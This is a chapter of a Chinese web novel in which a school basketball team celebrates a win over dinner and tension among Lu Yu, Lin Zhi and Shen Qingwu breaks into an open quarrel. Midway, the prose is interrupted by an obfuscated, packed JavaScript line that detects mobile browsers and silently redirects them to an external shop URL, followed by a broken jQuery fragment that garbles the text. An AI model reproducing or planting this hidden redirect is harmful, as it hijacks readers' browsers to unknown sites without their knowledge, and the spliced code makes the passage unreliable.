比赛结束之后,大巴车没有带他们回学校,而是直接开到了市中心一家叫“半糖”的店门口,这是教练订好的饭店。玻璃门里透出彩色的光,隐隐能听见里面的音乐声。
方晨第一个跳下车,回头冲车里嚷了一嗓子:“到了到了,今天不把教练吃穷不算完!”后面的人跟着笑,鱼贯而下。陆屿走在中间,脚踝还有点酸胀,但走路不成问题。他下台阶的时候余光瞥见沈青芜从后面挤上去,跟周野勾肩搭背地走在前面,两个人不知道在说什么,笑得肩头一耸一耸的。外面套的薄外套,拉链还敞着,走起路来衣摆一飘一飘的。
林栀跟在陆屿身后下了车。她抬头看着陆屿,刚刚车上大家因为赢了比赛很热闹。林栀虽然就坐在陆屿旁边但都没说上话。
此刻她才有了单独的机会,她走到陆屿旁边说:“陆屿哥,你刚刚很厉害。”
陆屿视线从前面转回来:“没有,这次主要是靠大家。我们快进去吧。”说完,他的脚步加快。
林栀费力才能跟上他,自然也没有心思说话了。
包间在二楼最里面,推门进去迎面是一张能坐十六个人的大圆桌,转盘玻璃擦得锃亮,头顶悬着一盏暖色的吊灯,墙角立着点歌的屏幕和两只立式话筒。靠墙的沙发被推到了旁边,留出一块空地,显然既考虑了吃饭也考虑了唱歌。墙上贴着深灰色的隔音棉,灯光一照显得柔和又热闹。
“都坐都坐!”李教练一进门就挥了挥手,自己先在主位坐下:“你们别拘谨,我今天就是来付钱的。”
大家哄笑着散开找位置。方晨一屁股坐到李教练旁边,扯着嗓子说:“教练今天必须得喝一杯”,周野跟着起哄,被李教练一瞪眼给瞪了回去:“你们还是学生,注意啊。”
陆屿正要往方晨旁边走,沈青芜已经先他一步拉开椅子坐在在了方晨边上,然后偏头拍了拍旁边的座位:“屿哥,这儿。”
陆屿脚步顿了一下,走过去坐下。林栀跟在他身后,在陆屿另一侧的空位坐下来。
菜还没上,冰镇的酸梅汤先端了两扎上来。方晨站起来给每个人倒了一杯,举着杯子喊:“来来来,先碰一个!庆祝我们比赛胜利。”一桌子人都站了起来,玻璃杯碰在一起发出清脆的声响。周野隔着桌子冲陆屿举杯:“屿哥今天真猛,最后那球我心脏都快停了。”
“你心脏停了算好的,我都快跪地上了。”刘洋在旁边接话,一脸夸张:“压哨绝杀啊!这辈子第一次现实见绝杀!”
沈青芜端着杯子抿了一口酸梅汤,眼睛弯着看了陆屿一眼:“行了行了,你们别光夸他了,在车上就一直夸他,夸多了屿哥该膨胀了。”她说着拿胳膊肘碰了碰陆屿:“是吧屿哥,别膨胀啊。”
陆屿被她一碰,嘴角动了动:“膨胀不了,今天前面打得稀烂。”
“那也赢了,”沈青芜放下杯子,伸手把先上的花生米转过来,捏了一颗丢进嘴里:“赢了就是赢了。我虽然让你别膨胀也没他你那么自谦啊。”
第一道菜端上来的时候大家就迫不及待了,毕竟打完球,运动量巨大,正是饿得狠的时候。糖醋排骨刚上就被几筷子夹走三五块,椒盐虾上来还没转完半圈就见了底。方晨嘴里叼着半只虾还要说话,含含糊糊的:“二中的分卫今天防得挺凶的,他推了我好几回,裁判都没吹。主场就是占优势。”
“他手上动作多我跟你说了吧,”沈青芜夹了一块排骨,咬了一口,边嚼边说:“我赛前看录像就看出来了,他那手就跟章鱼似的,到处乱掏。”
方晨咽下虾,竖起大拇指:“青芜你也太认真了吧。还特意找视频。”
沈青芜耸了耸肩,又夹了一筷子凉拌黄瓜:“反正也没事干,闲着也是闲着。”她说着偏头看了一眼陆屿,语气随意:“再说了,知己知彼嘛,不然怎么帮你们出主意。我对球队还是有贡献的吧。”
周野在旁边笑起来:“青芜你这都赶上半个教练了。”
“别别别,我可不敢跟教练抢活儿,”沈青芜摆了摆手,筷子在空中划了个半圆:“我就是个场边递水递毛巾的小助理。”
话题像开了闸的水,从比赛聊到二中的主场观众,从裁判尺度聊到某个球员上半场的失误。陆屿的碗里被人夹来的菜堆了大半碗,方晨隔着沈青芜还要给他递鸡翅,嘴里嚷着“功臣必须多吃点”。陆屿推了两下没推掉,只好接过来放在碗沿上。他低头扒饭的时候余光扫到旁边的林栀,她面前的小碗里只有几根青菜和一角玉米,筷子搁在碗沿上半天没动。
“怎么不吃?”他把声音压低了,偏头问了一句。
林栀愣了一下,抬眼看他:“……吃了呀。”她夹起那角玉米咬了一小口,嘴角沾了一点碎屑,又放下筷子:“我不太饿。”
陆屿看了她一眼,知道她是无聊了。其实今天从知道林栀会跟过来他就猜到了。她总是这样,需要他时刻在和朋友一起的时候还要注意她。可是明明,她只要不跟来,他就可以全身心的和自己的朋友一起玩。而不是像现在一样。好像自己没有照顾她就需要内疚。
旁边的沈青芜完全往另一边探,她正跟教练旁边的方晨说话,连一点视线都没有飘过来。
陆城把转盘上新上的椒盐鸡翅转到林栀面前:“吃点吧,下午一直在看比赛,肯定饿了。”
林栀嘴唇动了动,低声说了句“谢谢”,夹了一小块。边吃着,嘴角边扬起一点微笑。
饭桌上的热闹还在继续。沈青芜直接和方晨周野三个人把椅子挪近了,凑在一起翻手机相册,大概是刚才在休息区拍的照片。沈青芜的手指在屏幕上划了两下,忽然“哎呀”一声,把手机抢过来举高了:“这张不行!删了删了!”
“别啊!”方晨跳起来要去抢,“那张多好看!你在那儿跳起来的样子…哈哈。”
“我说删了就删了!”沈青芜把手机往身后一藏,另一只手推了方晨一把:“你拍丑照的水平跟你的投篮技术一样精准。”
周野在旁边笑得拍桌子:“你可是夸他了。”
方晨委屈巴巴地坐回去:“那可是我精心抓拍的……”
陆屿听着他们说闹,低头往自己碗里夹了一片藕。嚼了两口,他又抬头看了看沈青芜的方向,她正跟方晨抢手机,半边身子几乎压在方晨胳膊上,白球衣的领口滑下来一截露出锁骨的线条,她自己浑然不觉。他收回了目光。
菜上完了,桌上的盘子也空了大半,酸梅汤也换成了第二扎。
饭桌上的声音又涨起来了。不知道是谁提起了李教练的战术布置,几个人吵吵嚷嚷地争论“第四节那个联防到底该不该换”,周野嗓门最大。沈青芜没有参与讨论,她正拿手机给方晨看什么,两个人脑袋凑在一起,她的侧脸被屏幕光照得发亮。
林栀看着那一幕。她看着沈青芜那么融入他们,她很自然的和方晨笑闹,看着她拍了拍方晨的胳膊,看着她转过头来又跟周野说笑。她看了很久,久到碗里的菜凉了。她是有点羡慕的,羡慕沈青芜可以无所顾忌的和他们说话,明明她更早就认识陆屿的朋友,但她却跟他们都不熟悉。
同时她也有点坏心眼的想,沈青芜一个女孩跟男生这么没有边界感。她的想法很矛盾,真的。她知道自己这么想是不对的,可是那些坏想法不停的冒出来。
沈青芜也看到了她的视线,于是她拍拍方晨的肩膀,对林栀抬抬下巴:“林栀妹妹是不是无聊了,咱跟她同班同学,跟她说说话去。”
方晨嘟喃着:“哎呀,她旁边不是有屿哥嘛!她可能也不需要我们凑上去。”
陆屿正和其他人说话,沈青芜过去拍拍陆屿的肩膀,像是好意的提醒他:“你也别老光顾着跟这些大老爷们聊球了,林栀妹子坐在这儿半天插不上话,你也不知道照顾照顾。”
陆屿一下不说话了,附近的几个人明显也都听到了。四处的目光往林栀这边看。好像一提到林栀,整个气氛都冷了下来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785347|208697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林栀攥着筷子的手指紧了紧,脸一下子涨红了:“不用不用,我听得挺高兴的……”
“那怎么行,”沈青芜笑着摆手,又看向陆屿:“屿哥你也是,光顾着自己吃,也不知道给林栀妹子夹夹菜聊聊天的。人家妹妹可是特意跟着你来看你比赛。”
陆屿听着皱了眉,他不喜欢把林栀这样归为他的责任,尤其那个人还是沈青芜。而刚刚心里堵着的气也想宣泄一下,他看着沈青芜一眼,有点阴阳怪气:“你倒挺会安排的。”
“那是,”沈青芜像没有听出他的语气,笑嘻嘻地接住他的话,歪着脑袋:“我这是帮你维护邻里关系啊,你别不识好人心啊。”她说着冲林栀眨了眨眼:“林栀妹子你说是吧?”
林栀的脸还红着,但嘴角的笑有点勉强:“我在这儿自己待着就很好。没关系的。”只是,她当然也是期待着陆屿可以在所有人中照顾她了。
陆屿转过头,好像听沈青芜话一样夹了一块藕片放到林栀碗里:“别管她,她嘴上没个把门的。什么话都说的。”话虽是对着林栀说的,但眼睛却是往沈青芜那边看的。
“哎你怎么还说我坏话,”沈青芜立刻接上了,凑过来拍打来一下陆屿,陆屿佯装躲,但并没有躲开。被打到脸上却是笑着的。
沈青芜的手抚过他的背:“哎呀,我这不是好心嘛!真是的,行了行了不跟你说了,你们聊你们的。”她转回去,又跟方晨凑到一起去了。
看到她又和方晨凑一起,陆屿嘴上的笑容消失了。
林栀低头看着碗里那块藕片。她攥着筷子的手有些发僵。她注意到沈青芜说话的时候,陆屿的表情马上就不一样了。他一晚上心事重重的,可是沈青芜一跟他说话,他好像就轻松了。她把藕片夹起来咬了一口,没什么味道。然后她放下了筷子。
沈青芜总是这样,好像是为她说话。但马上把别人的视线吸引了过去。
她真的是为自己说话吗?为什么她什么都没有得到呢。林栀突然觉得很可笑。在比赛结束后,沈青芜和陆屿的亲密拥抱在她脑海里不停回旋,那个压在心底的坏心思正在蓬勃生长,她忽然把筷子搁在了碗上,声音不大,但在几个人的嚷嚷里清晰地传了出来。
“沈青芜。”
沈青芜抬起头,手机还举在手里,屏幕上是一张方晨拍的赛后合影,她的手正点在屏幕上放大了看自己。她看见林栀的表情,笑意收了一点:“怎么了?”
林栀字字清晰:“你能不能不要这么假惺惺的。什么维护邻里关系,什么怕我插不上话,你真的关心我吗?你不过是做给大家看罢了。”
桌上突然安静了。方晨和周野同时收了笑,两个人面面相觑。其他几个队员交换了一下眼神,刘洋把刚端起来的杯子轻轻放回桌上。暖黄色的吊灯光线里,空气凝了一瞬。
一旁的陆屿也不明白林栀突然这是怎么了,他伸手想把林栀拉下来。转头又焦急的看沈青芜的状态。
沈青芜脸上的笑容慢慢变成了另一种表情,有点茫然,有点局促。她把手机扣在桌上:“……我没有假惺惺呀,我就是觉得……”
“你觉得什么?”林栀截断了她的话。她的声音有一点抖:“你觉得自己很贴心?觉得自己很会替别人着想?你不过就是想在他们面前表现得大方体面而已。”
沈青芜抿了抿嘴,低下头又抬起来,目光很认真:“林栀,你可能误会我了。我真的只是怕你一个人在这坐着无聊……我没什么别的意思,我跟别的女孩不太一样,没那么多小心思。”
听见这话,林栀的手指猛地攥紧。她的脸颊烫起来,眼眶也有点发酸。她听见“跟别的女孩不太一样”那半句话的时候,胸口像被什么东西狠狠揪了一下。就像上次她被沈青芜说时一样难堪,她直接没有掩饰,直接把心底的想法说了出来:“沈青芜,你好茶啊。”
陆屿忍不了了。这已经是在明白的骂人了。他眉头拧起来:“林栀,你在胡说什么。”